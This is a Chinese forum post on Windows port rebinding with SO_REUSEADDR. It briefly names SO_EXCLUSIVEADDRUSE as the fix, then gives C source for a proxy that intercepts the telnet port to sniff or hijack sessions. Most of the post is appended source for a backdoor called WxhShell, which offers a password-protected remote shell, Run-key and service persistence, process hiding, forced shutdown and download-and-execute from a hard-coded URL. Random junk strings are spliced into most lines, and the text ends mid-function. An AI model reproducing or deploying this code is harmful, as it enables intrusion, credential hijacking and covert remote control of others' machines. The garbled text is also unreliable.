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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: i2j_=X-  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); N_(qMW  
Au<NUc 2  
  saddr.sin_family = AF_INET; V*5 ~A [r  
3B8\r}L  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ]&w8"q  
HR]*75}e  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); \B/ +.\  
lqh+yX%*  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 T}d% XMXq  
!LB#K?I  
  这意味着什么?意味着可以进行如下的攻击: _; /onM   
>Vc;s !R  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 5V5Nx(31i  
{_T?0L  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) j ;}!Yn  
K,(37Id'  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 = i9|lU"Va  
k|Mj|pqA  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  f|Dq#(^\  
}GI8p* ]o=  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ZmU7tK  
)RV.N}NU  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 :'p+Ql~c  
;%wQnhg  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 3H"bivK  
3"afrA  
  #include =E$Hq4I  
  #include q$IgkL  
  #include Jd#g"a>zZ  
  #include    zv/owK  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Y,0D+sO4  
  int main() K@d,8[  
  { %Y!31oC#  
  WORD wVersionRequested; |hGi8  
  DWORD ret; kD1[6cJ!=.  
  WSADATA wsaData; +9Vp<(  
  BOOL val; )~@iM.}S2  
  SOCKADDR_IN saddr; L WwWxerZ  
  SOCKADDR_IN scaddr; X|]&K  
  int err; {Aq2}sRl{  
  SOCKET s; ))Q3;mI"  
  SOCKET sc; K`%{(^}.  
  int caddsize; ~Psv[b=]  
  HANDLE mt; uRIa Nwohv  
  DWORD tid;   !<'0 GOl  
  wVersionRequested = MAKEWORD( 2, 2 ); Qn0 1ig  
  err = WSAStartup( wVersionRequested, &wsaData ); (rFXzCI  
  if ( err != 0 ) { `wrN$&  
  printf("error!WSAStartup failed!\n"); Ew.a*[W''  
  return -1; DVC<P}/  
  } 8/4i7oOC  
  saddr.sin_family = AF_INET; 3hUU$|^4gm  
   ]H[%PQ r`Z  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 :x*#RnRr.  
U42B( ow  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ? }t[  
  saddr.sin_port = htons(23); {Ee[rAVGp  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) lJ y\Ky(*  
  { A\xvzs.d  
  printf("error!socket failed!\n"); M{)7C,'  
  return -1; AE?G+:B  
  } ?-.Qv1hs6p  
  val = TRUE; bSbUf%LKt  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 a[).'$S}'  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ^R;Qa#=2  
  { m~$S]Wf  
  printf("error!setsockopt failed!\n"); EGD&/%aC  
  return -1; #0*OkZMt  
  } Dq$co1eT  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; R>|)-"b( `  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 6,J:sm\  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 s}m.r5  
1 UyQ``v/  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 0J \hku\  
  { |-vc/t2k>T  
  ret=GetLastError(); @-d0 ~.S  
  printf("error!bind failed!\n"); )$Tcip`  
  return -1; XHX$Ur9  
  } y&F0IJ|`@M  
  listen(s,2); (bT3 r_  
  while(1) iRwlK5(&  
  { F@C^nX9  
  caddsize = sizeof(scaddr); A]x'!qa@=  
  //接受连接请求 TOUP.,f/!  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); \7l% @  
  if(sc!=INVALID_SOCKET) &uX| Ksq  
  { cwK+{*ZH/  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ;`p!/9il  
  if(mt==NULL) dF (m!P/R  
  { w26x)(7  
  printf("Thread Creat Failed!\n"); FXF#v>&  
  break; zG%ZDH^82_  
  } !}[cY76_  
  } zLeId83>  
  CloseHandle(mt); (K"8kQLY  
  } =5 zx]N1r  
  closesocket(s); 6X1_NbC  
  WSACleanup(); ,sn/FT^; q  
  return 0; +[2X@J  
  }   rEWPVT  
  DWORD WINAPI ClientThread(LPVOID lpParam) OI0tgkG  
  { W5#5RK"uX  
  SOCKET ss = (SOCKET)lpParam; ga#Yd}G^~3  
  SOCKET sc; |N^z=g P[  
  unsigned char buf[4096];  ~wX4j  
  SOCKADDR_IN saddr; v<2B^(i}VB  
  long num; "?[7oI}c&  
  DWORD val; $hCPmiI  
  DWORD ret; BAUo`el5  
  //如果是隐藏端口应用的话,可以在此处加一些判断 _jhdqON6E  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Vv]81y15Q;  
  saddr.sin_family = AF_INET; q%^vx%aL\  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); MZ/PXY  
  saddr.sin_port = htons(23); `U~Y{f_!H  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) tWo MUp  
  { "q'9-lk  
  printf("error!socket failed!\n");  `LWZ!Q  
  return -1; |ULwUi-r  
  } 1zz.`.R2U  
  val = 100; g;M\4o  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) #_zd`s3k  
  { 4_A9o9&_Rh  
  ret = GetLastError(); t G{?  
  return -1; |H(Mmqgk  
  } lvyD#|P  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) $ZQ?E^> B  
  { $!msav  
  ret = GetLastError(); REmD*gf  
  return -1; cuw3}4m%  
  } OR\-%JX/5  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 0lvX,78G;  
  { VB?mr13}G  
  printf("error!socket connect failed!\n"); +]!`>  
  closesocket(sc); qZ39TTQ*p  
  closesocket(ss); JW5SBt>  
  return -1; w|1Gb[  
  } .QhH!#Y2D  
  while(1) !iOuIYjV  
  { v{H3DgyG  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 e$wbYByW  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 X> *o\   
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 $B iG7,[#  
  num = recv(ss,buf,4096,0); Q9~UL^bF  
  if(num>0) 9t$%Tc#Z  
  send(sc,buf,num,0); M?UlC   
  else if(num==0) <IF\;,.c  
  break; cZ" Ut  
  num = recv(sc,buf,4096,0); GC3:ZpV`  
  if(num>0) zn4Yo  
  send(ss,buf,num,0); t?-7Z6  
  else if(num==0) j=^b'dyL  
  break; J6!t"eB+  
  } biFN]D  
  closesocket(ss); y %k`  
  closesocket(sc); }}GBCXAf_  
  return 0 ; 'z#{'`$a  
  } (VPT% l6  
Yg;g!~   
q5$z:'zE  
========================================================== %;.|?gR  
%5_eos&<^)  
下边附上一个代码,,WXhSHELL ,u}n!quA  
==psPyLF@  
========================================================== i*9l  
`TkI yGr  
#include "stdafx.h" mne^P SI:  
?-FSDNQ  
#include <stdio.h> ]`D(/l'  
#include <string.h> ^}2 ie|  
#include <windows.h> Qa,^;hZWS  
#include <winsock2.h> !U"1ZsO)l  
#include <winsvc.h> @"}dbW<DV  
#include <urlmon.h> J! 4l-.-  
'_n{+eR74  
#pragma comment (lib, "Ws2_32.lib") dt"[5;_P`  
#pragma comment (lib, "urlmon.lib") VA _O0y2  
Ih}I`wY-  
#define MAX_USER   100 // 最大客户端连接数 mI=^7 'Mk  
#define BUF_SOCK   200 // sock buffer b'$j* N  
#define KEY_BUFF   255 // 输入 buffer ;8~`fK  
XR^VRn6O  
#define REBOOT     0   // 重启 vf@d (g  
#define SHUTDOWN   1   // 关机 sz.(_{5!  
blZiz2F  
#define DEF_PORT   5000 // 监听端口 (n-8p6x(  
IbpE@C  
#define REG_LEN     16   // 注册表键长度 N(?yOB4gt  
#define SVC_LEN     80   // NT服务名长度 %iI0JF*E z  
Z6&s 6MF  
// 从dll定义API N0c+V["s  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); `8F%bc54iw  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); }6]V*Kn,  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); oHmU|  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `h M:U  
's$pr#V  
// wxhshell配置信息 Gvt.m&_  
struct WSCFG { h<*l=`#  
  int ws_port;         // 监听端口 *DX6m  
  char ws_passstr[REG_LEN]; // 口令 Y*``C):K%  
  int ws_autoins;       // 安装标记, 1=yes 0=no wLD/#Hfi7  
  char ws_regname[REG_LEN]; // 注册表键名 [;VNuF  
  char ws_svcname[REG_LEN]; // 服务名 _Z6/r^c  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 r0kA47  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &86km FA  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 1){1 HK  
int ws_downexe;       // 下载执行标记, 1=yes 0=no +a sJV1a  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" t8s1d  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 l)z15e5X  
Q8M&nf  
}; nJ4h9`[>V  
IxCEE5+`%  
// default Wxhshell configuration .i/]1X*;r^  
struct WSCFG wscfg={DEF_PORT, (0W%Y Z!&  
    "xuhuanlingzhe", ,"PwNv  
    1,  zUqiz  
    "Wxhshell", )dLESk  
    "Wxhshell", i{VjSWq  
            "WxhShell Service", ja~b5Tf9  
    "Wrsky Windows CmdShell Service", @( 9#\%=  
    "Please Input Your Password: ", #hd<5+$U}l  
  1, JBE'B Q@  
  "http://www.wrsky.com/wxhshell.exe", /,5`#Gte_  
  "Wxhshell.exe" >w9)c|  
    }; q4 'x'8  
bm1ngI1oI  
// 消息定义模块 5v~Y>  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $'X*L e@k  
char *msg_ws_prompt="\n\r? for help\n\r#>"; tZa)sbz  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; B>o\;)l3O  
char *msg_ws_ext="\n\rExit."; vD) LRO Z  
char *msg_ws_end="\n\rQuit."; v%&f00  
char *msg_ws_boot="\n\rReboot..."; 1q~U3'l:$  
char *msg_ws_poff="\n\rShutdown..."; !j4C:L3F  
char *msg_ws_down="\n\rSave to "; "JVz v U]  
D +)6#i Y  
char *msg_ws_err="\n\rErr!"; S:vv*5  
char *msg_ws_ok="\n\rOK!"; {H $\,  
5DyN=[b  
char ExeFile[MAX_PATH]; c ~YD|l  
int nUser = 0; ^V_acAuS^  
HANDLE handles[MAX_USER]; V{Idj\~Jh  
int OsIsNt; KN~E9oGs  
X >%2\S  
SERVICE_STATUS       serviceStatus; ]qXHalHY  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; FTCp3g  
-ihF)^"a  
// 函数声明 }#<Sq57n  
int Install(void); ;y6Jo  
int Uninstall(void); 5vbnO]8  
int DownloadFile(char *sURL, SOCKET wsh); >o 3X)  
int Boot(int flag); P xpz7He  
void HideProc(void); 2I?HBz1v  
int GetOsVer(void); j#&sZ$HQ4  
int Wxhshell(SOCKET wsl); 4>Uo0NfL  
void TalkWithClient(void *cs); l(=#c/f  
int CmdShell(SOCKET sock); ]vQo^nOo  
int StartFromService(void); PBn(k>=+  
int StartWxhshell(LPSTR lpCmdLine); (fh:q2E#  
K^{`8E&A  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); /GM-#q a  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Z mi<Z  
{yt]7^  
// 数据结构和表定义 W %R h2l  
SERVICE_TABLE_ENTRY DispatchTable[] = ~8pf.^,fi  
{ QJdSNkc6  
{wscfg.ws_svcname, NTServiceMain}, _5U Fml9  
{NULL, NULL} bvG").8$  
}; ^#3$C?d  
gyCb\y+\a  
// 自我安装 $o]zNW;X  
int Install(void) ;S`Nq%,  
{ CM5A-R90  
  char svExeFile[MAX_PATH]; A$XjzTR  
  HKEY key; nQ$N(2<Fe  
  strcpy(svExeFile,ExeFile); U%k e 5uwP  
`Q(ac| 0  
// 如果是win9x系统,修改注册表设为自启动 Q^MB%L;D  
if(!OsIsNt) { c_ygwO3.Q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }lpcbm  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); niy@'  
  RegCloseKey(key); 4#2iL+   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~BS*x+M  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~iwEhF   
  RegCloseKey(key);  _&(ij(H  
  return 0; JEHV \ =  
    } zZ32K@  
  } 'hya#rC&(  
} K7f-g]Ibdn  
else { |!!E5osXq  
/mD KQ<  
// 如果是NT以上系统,安装为系统服务 [7I|8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )&dhE^ O  
if (schSCManager!=0) d}l^yln  
{ cC}s5`  
  SC_HANDLE schService = CreateService @bqCs^U35  
  ( ?sS'T7r v  
  schSCManager, p*npY"}v  
  wscfg.ws_svcname, YSa:"A  
  wscfg.ws_svcdisp, hq,;H40%/  
  SERVICE_ALL_ACCESS, [tD*\\IA  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , iBo-ANnK9  
  SERVICE_AUTO_START, 5\4>H6  
  SERVICE_ERROR_NORMAL, o~4n8  
  svExeFile, !zJ.rYZ=g`  
  NULL, ~-:CN(U  
  NULL, &PgdCijGq;  
  NULL,  v$tS 2N2  
  NULL, #[KwR\b{:+  
  NULL :X4\4B*~  
  ); M9&tys[KX  
  if (schService!=0) ~ml\|  
  { FwW%@Y  
  CloseServiceHandle(schService); iMA)(ZS  
  CloseServiceHandle(schSCManager); %BG5[ XQ7  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); xrX("ili  
  strcat(svExeFile,wscfg.ws_svcname); O4E2)N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { |@ldXuYb  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ]@8=e'V  
  RegCloseKey(key); hYWWvJ)S  
  return 0; T=R94  
    } X^.r@tT  
  } -+PPz?0  
  CloseServiceHandle(schSCManager); c''O+,L1+  
} rSJ}qRXwU  
} =VY4y]V  
{VNeh  
return 1; ,3n}*"K  
} ffB]4  
unX^MPpw  
// 自我卸载 }jk^M|Z"Oz  
int Uninstall(void) >{??/fBd-  
{ >b$<lo  
  HKEY key; ;< ][upn  
)?xt=9Lh  
if(!OsIsNt) { F"F(s!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /Z@.;M  
  RegDeleteValue(key,wscfg.ws_regname); <Q kfvK]Q  
  RegCloseKey(key); |n|2)hC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }>1E,3A:%G  
  RegDeleteValue(key,wscfg.ws_regname); eS.]@ E-T  
  RegCloseKey(key); A"k,T7B  
  return 0; j?mJ1J5  
  } W ,U'hk%  
} <n:?WP~U  
} y(S0 2v>l  
else { Z0:BXtW  
Grub1=6l  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +]e4c;`ko}  
if (schSCManager!=0) ]e3nnS1*.  
{ w[+!c-A:H  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); nSC>x:jY5/  
  if (schService!=0) Sh*P^i.]+  
  { bc"N  
  if(DeleteService(schService)!=0) { Uy_= #&jg  
  CloseServiceHandle(schService); WE"'3u^k  
  CloseServiceHandle(schSCManager); Tc*PDt0C  
  return 0; Rq9gtx8,=  
  } =@z"k'Vl`  
  CloseServiceHandle(schService); o99 a=x6  
  } MDq@:t  
  CloseServiceHandle(schSCManager); Mzd}9x$'J  
} \'KzSkC8  
} `WT7w']NT  
;uDFd04w [  
return 1; '8JaD6W9S  
} : L>d]Hn  
b1OB'P8  
// 从指定url下载文件 L;  ~=(  
int DownloadFile(char *sURL, SOCKET wsh) 0#7 dm9  
{ vKt_z@{{L  
  HRESULT hr; 2P=;r:cx  
char seps[]= "/"; x'qgpG}?]  
char *token; Txh;r.1e  
char *file; 9<ayQ*  
char myURL[MAX_PATH]; tFQFpbI  
char myFILE[MAX_PATH]; r:cUAe7#  
4HJrR^  
strcpy(myURL,sURL); S@#L!sT`u  
  token=strtok(myURL,seps); [ZbK)L+_  
  while(token!=NULL) Xy{+=UY  
  { 2$91+N*w9  
    file=token; ^bG!k]U!2  
  token=strtok(NULL,seps); ?2TH("hV$  
  } 'w2;oO  
f- <6T  
GetCurrentDirectory(MAX_PATH,myFILE); ?q P }=nJ  
strcat(myFILE, "\\"); R;o_*  
strcat(myFILE, file); LDsYr]  
  send(wsh,myFILE,strlen(myFILE),0); *`#,^p`j b  
send(wsh,"...",3,0); X d6y7s  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); I,eyL$x  
  if(hr==S_OK) q~n2VU4L*  
return 0; 4_<Uk  
else ho1F8TG=  
return 1; 4B`Rz1QBy  
(zBQ^97]  
} SOmn2 }   
ja/[PHq"  
// 系统电源模块 }U9jsm  
int Boot(int flag) 2#3R]zIO  
{ )^TQedF  
  HANDLE hToken; ^v-'=1ub?  
  TOKEN_PRIVILEGES tkp; pC-OZ0  
[Jo TWouNU  
  if(OsIsNt) { aTsfl  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); p( *3U[1  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); +pvJ?"J  
    tkp.PrivilegeCount = 1; +`8)U3u0  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; F/sBr7I  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Oq6n.:8g"  
if(flag==REBOOT) { ;L2bC3  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) I?>T"nV +'  
  return 0; moR2iyO_  
} p'~5[JR:  
else { I&8m5F?$`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) K"7;Y#1g  
  return 0; 'qAfei']  
} cg0 0t+  
  } .E#Sm?gK  
  else { +E|ouFI  
if(flag==REBOOT) { w9$8t9$|  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) S7{.liHf  
  return 0; + f!,K  
} V(LFH9.Mp  
else { a +yI2s4Z  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) DA`sm  
  return 0; }Y`<(V5:  
} ?3TV:fx"X  
} x }'4^Cv  
]fo^43rn{  
return 1; h6y4Ii  
} AUsQj\Nm%  
@jSbMI  
// win9x进程隐藏模块 Uy5!H1u  
void HideProc(void)  F'FZ?*a  
{ yr2L  
9zYiG3 d  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 917 0bmr  
  if ( hKernel != NULL ) (0#F]""\e  
  { 6h6?BQSE  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); P3tG#cJ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9<h]OXv  
    FreeLibrary(hKernel); ;'QY<,p[e  
  } UXPegK!  
r>~d[,^$m4  
return; R{uJczu  
} 5b1uD>,;y  
E\~ KVn  
// 获取操作系统版本 E? eWv)//  
int GetOsVer(void) C]yQ "b  
{ <o!&Kk9  
  OSVERSIONINFO winfo; Nv?-*&L  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); dM s||&|&  
  GetVersionEx(&winfo); S=H_9io  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) bLEATT[  
  return 1; ~,*YmB=Z  
  else KBw9(  
  return 0; W .`Xm(y  
} -}X?2Q  
#CA%]*l*F  
// 客户端句柄模块 .blft,'  
int Wxhshell(SOCKET wsl) S1^nC tSF  
{ ]TBtLU3  
  SOCKET wsh; o9Txo (tYU  
  struct sockaddr_in client; 9Ue7 ~"=  
  DWORD myID; a We Bav}_  
>*= =wlOB  
  while(nUser<MAX_USER) q)V1{B@  
{ :Wg-@d  
  int nSize=sizeof(client); (#bp`Kih  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); xd|~+4  
  if(wsh==INVALID_SOCKET) return 1; !ASoXQRz  
TD{=L*{+  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 2:iYYRrg  
if(handles[nUser]==0) |ck ZyDA  
  closesocket(wsh); 9 rTz N  
else _2m[(P9d  
  nUser++; O}MZ-/z=o~  
  } (D>y6r> r  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); XpgV09.EE  
| 7 m5P@X  
  return 0; * {gxI<   
} s[3![ "^Y  
3WCqKXJ7  
// 关闭 socket 5:%..e`T  
void CloseIt(SOCKET wsh) B6ed,($&  
{ 7a:*Y"f,~  
closesocket(wsh); 4@v1jJj  
nUser--; z|3`0eWIG  
ExitThread(0); !@pV)RUv7  
} \f/#<|Hm  
U=F-] lD  
// 客户端请求句柄 4|6&59?pnc  
void TalkWithClient(void *cs) tE]5@b,R  
{ x2C/L  
2y+70(E1  
  SOCKET wsh=(SOCKET)cs; _{e&@ d  
  char pwd[SVC_LEN]; qRPc %"  
  char cmd[KEY_BUFF]; /&]-I$G@  
char chr[1]; Gefnk!;;  
int i,j; {_zV5 V  
g\o{}Q%X  
  while (nUser < MAX_USER) { .-SF$U_P*a  
N7*CP|?E  
if(wscfg.ws_passstr) { ]*2EK9<  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); h L]8e>a?  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); z;dcAdz9  
  //ZeroMemory(pwd,KEY_BUFF); k,,!P""  
      i=0; 731h ~x!u  
  while(i<SVC_LEN) { (0E U3w?]  
Vk-W8[W 7  
  // 设置超时 XogvtK*  
  fd_set FdRead; wJ+U[a  
  struct timeval TimeOut; Ap]4QqU  
  FD_ZERO(&FdRead); L1hD}J'$4  
  FD_SET(wsh,&FdRead); 'e.q 7Jpd  
  TimeOut.tv_sec=8; 4}Q O!(  
  TimeOut.tv_usec=0; '7xxCj/*  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >`7OcjLg  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); A\".t=+7  
;Z ]<S_#-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Fn:.Y8%-  
  pwd=chr[0];  VQ`,#`wV  
  if(chr[0]==0xd || chr[0]==0xa) {  3L%WVCB  
  pwd=0; ,IIZ Xl@  
  break; i8Fs0U4"  
  } 5<89Af&&K8  
  i++; hZAG (Z  
    } f49"pTw7  
\ Y*h  
  // 如果是非法用户,关闭 socket 99^AT*ByY  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); >0PUWr$8  
} QXdaMc+Ck  
hPa n  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); K`hz t  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7p)N_cJD  
|d $1wr  
while(1) { sFLcOPj-%  
jip\4{'N  
  ZeroMemory(cmd,KEY_BUFF); xC-BqVJ%_T  
1g1?zk8zO  
      // 自动支持客户端 telnet标准   bxAsV/j  
  j=0; #G3` p!"  
  while(j<KEY_BUFF) { kg<P t >  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |~SE"  
  cmd[j]=chr[0]; I>{!U$  
  if(chr[0]==0xa || chr[0]==0xd) { {3hqp*xl  
  cmd[j]=0; 8N% z9b  
  break; 7p^@;@V  
  } ~<n(y-P^  
  j++; %yiD~&  
    } %N )e91wC  
75ZH  
  // 下载文件 cVp[ Z#B  
  if(strstr(cmd,"http://")) { *4t-e0]j@w  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); wW-Ab  
  if(DownloadFile(cmd,wsh)) *=Doe2(!C  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  "Y7+{  
  else "K,bH  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OU!nN>ln  
  } "OO96F  
  else { Y %K~w  
X~lZOVmS  
    switch(cmd[0]) { R :"+ #Sq  
  Z!= L   
  // 帮助 XYjcJ  
  case '?': { ^] 6M["d/p  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ABc)2"i:*  
    break; /}Yqf`CZy  
  } Hle\ON  
  // 安装 :r&iM b:Ra  
  case 'i': { wUoiXi09  
    if(Install()) Q"%QQo}}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Bz+.Qa+  
    else 2{-!E ^g  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Vo,[EVL  
    break; Edw2W8  
    } A:eFd]E{(  
  // 卸载 D*\v0=P'?  
  case 'r': { f ba&`  
    if(Uninstall()) qe$33f*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1Dq<{;rWb  
    else .s2$al  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G}VDEC  
    break; o@9+mM"B)  
    } w?*z^y@  
  // 显示 wxhshell 所在路径 w$j{Hp6m  
  case 'p': { DzC Df@TB"  
    char svExeFile[MAX_PATH]; 6\4Z\82  
    strcpy(svExeFile,"\n\r"); XA)'=L!^  
      strcat(svExeFile,ExeFile); mG2VZ>  
        send(wsh,svExeFile,strlen(svExeFile),0); N5? IpE  
    break; llq*T"7  
    } ,}0$Tv\1  
  // 重启 ]]TqP{H  
  case 'b': { x vmt.>f  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); R,F gl2  
    if(Boot(REBOOT)) Vr/Bu4V"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BC! 6O/kr  
    else { U]hF   
    closesocket(wsh); hv>KX  
    ExitThread(0); dv~pddOs  
    } H_w%'v&  
    break; l4vTU=  
    } 4(=kE>n}  
  // 关机 S/4r\6  
  case 'd': { @vRwzc\   
